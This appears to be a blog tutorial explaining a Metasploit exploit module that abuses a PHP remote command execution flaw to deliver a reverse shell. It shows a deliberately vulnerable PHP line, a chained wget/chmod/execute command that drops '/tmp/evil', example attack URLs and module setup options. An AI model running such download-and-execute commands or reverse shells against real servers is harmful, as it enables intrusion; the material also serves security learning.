Exploit Development – Metasploit modules for fun & profit

Lets go through an exploit module I built for Metasploit Framework.

In a nutshell, the exploit contains only a couple of key elements – a HTTP Client and Server and a generated malicious payload.

I needed an easy way to abuse a Remote Command Execution vulnerability. A full exploit module that would generate the selected payload and return a meterpreter reverse shell back to me. All in one go.

Generally, exploit development is much more time consuming – and sometimes even more difficult – than just “triggering” the found vulnerability with a HTTP Request for instance.

What this exploit module does, is it exploits a RCE vulnerability via a malicious HTTP GET request.

Whats required from the victim, is that a linux ‘wget’ tool is installed, which is very common.    … and of course that there is a RCE vulnerability that allows the attacker to run shell commands.

Here is an example of PHP Code that would create such a vulnerability.

 <?php exec($_GET['cmd']); ?>

You would simple call this URL by https://rot.fi/vulnerable_url.php?cmd=hostname

and that would result the backend webserver to run this the supplied command ‘hostname’. You wouldn’t see the result on page, as it is not printed on it.

I’ll break down the module and try to explain each part of it.


In order to get this module working, we need to define that it’s a Metasploit Exploit Module, and include the required libraries.

To define a module type, you define it in the class MetasploitModule < Msf::Exploit.

For an auxiliary module, you would use class MetasploitModule < Msf::Auxiliary

require ‘msf/core’

class MetasploitModule < Msf::Exploit
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML


Msf::Exploit::EXE, is what you need to generate a binary payload.

This guy is essential to our specific need to respond to a HTTP GET request with a file that’s loaded with goodies.


Msf::Exploit::Remote::HttpClient , is what we’ll be using to poke the target and have it request a file from us.

HttpClient will introduce you to four extra Opts – RHOST, RPORT,SSL and VHOST – which will be used to define which server and port we want use to send the HTTP requests to and VHOST for defining what kind of HTTP Host-header we want to use. The SSL Opt is a boolean defining whether or not the client connection is encrypted.

Above, I gave you an example of running a ‘hostname‘ command on the vulnerable server, which would likely be of no benefit to the attacker.

For this case, I would use a chained command that would firstly download my evil binary payload, give it execute permissions and then run it…
…like ‘wget -O /tmp/evil;chmod 777 /tmp/evil;/tmp/evil

In a HTTP Request, it would look something like this

https://rot.fi/vulnerable_url.php?cmd=wget -O /tmp/evil

https://rot.fi/vulnerable_url.php?cmd=chmod 777 /tmp/evil



Msf::Exploit::Remote::HttpServer::HTML, is what we use to deliver requested the payload.

The HttpServer will introduce you to two extra Opts, SRVHOST and SRVPORT and it has two key functions you need to notice. The Opts will define which IP and port the HttpServer will bind to.

def primer

What is defined here runs when the HttpServer is started but still before any connections are accepted in.

We don’t need to do anything here, this time.

def on_request_uri(cli, req)

This function is called each time a request comes in.

What is noteworthy is that the on_request_uri is called when the exact URI is called, which we will be defining later in the module.

In this function I’m generating the binary payload on each request and sending it back to the client.

What the payload will contain, will be the one you choose while configuring the exploit.



For an exploit module, you need to define a target, and the register_options are used by the HTTP Server library.

In the initialize function you also define the Name, Author and License for your creation, among other things. For a BufferOverflow exploit, you’d define bad characters and usually multiple targets like kernel versions and such.

Also, notice that the register_options Opts are typecasted, to strings, integers, etc..



A Metasploit Exploit will be using a exploit and check functions.

def check

This function is supposed to be used to check if the target is vulnerable. Sometimes its not even possible but its best to have even partial check than to launch an exploit script against a target that’s not even online.


The above check function sends a GET request at the RHOST and checks if the HTTP return code is OK or not.

Based on the HTTP code, we return a Vulnerable or a Safe status to the exploit module.

def exploit

In most cases, this is where the magic happens.

You can rewrite Opts by manipulating the datastore[] array.

The HTTPServer is started as a new instance with the start_service() function.

By setting SSL Opt to true/false you can choose whether you want to start the HTTPServer with Transport Layer Security.


I’ve put in a sleep(150) because sometime it takes time for the victim to execute the payload, so we don’t want our script to die before that happens.

The actual exploitation takes place in the request function

def request



What now?

So whats really cool about a exploit module like this, is that you get it all  in the Swiss army knife we call Metasploit Framework.

Instead of using this module, we could do the same manually:

  1. Setup and configure an Apache Web server
  2. Create a binary payload with msfvenom manually
  3. Setup a Listener /  Handler to grab the shell
  4. Trigger the vulnerability with curl/wget

Yes, I guess if you compare the time it takes to develop a working module to the time it takes to do the above four steps, the latter wins.

Let me demonstrate you how this is exploited via the working module.

Firstly, you need to download and add the module to Metasploit

git clone https://github.com/jake08/Metasploit
mv Metasploit/rot_rce.rb /usr/share/metasploit-framework/modules/exploits/linux/http

Then start up msfconsole and find the module

search rot_rce


Then use and set it up according to your network

here’s a friendly  reminder what’s what:

  • RHOST => Target Host that has the RCE Vulnerability
  • RPORT => Target Port for the above server
  • SRVHOST => The IP for the Local HTTP Server, make sure its reachable by RHOST
  • SRVPORT => Port for the above Server
  • VHOST => Virtual Host, or HTTP Host-header for RHOST eg. amazon.com, rot.fi
  • WRITABLEDIR => A Directory on the RHOST where we can drop the payload
  • PAYLOAD => Your friendly neighborhood reverse shell
  • LHOST => Return IP for the reverse shell, make sure its reachable by RHOST
  • LPORT => Port for above server


Run check and exploit for profit.



Additional resources

Complete module code

More on Metasploit Module development



j3k, hacker


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s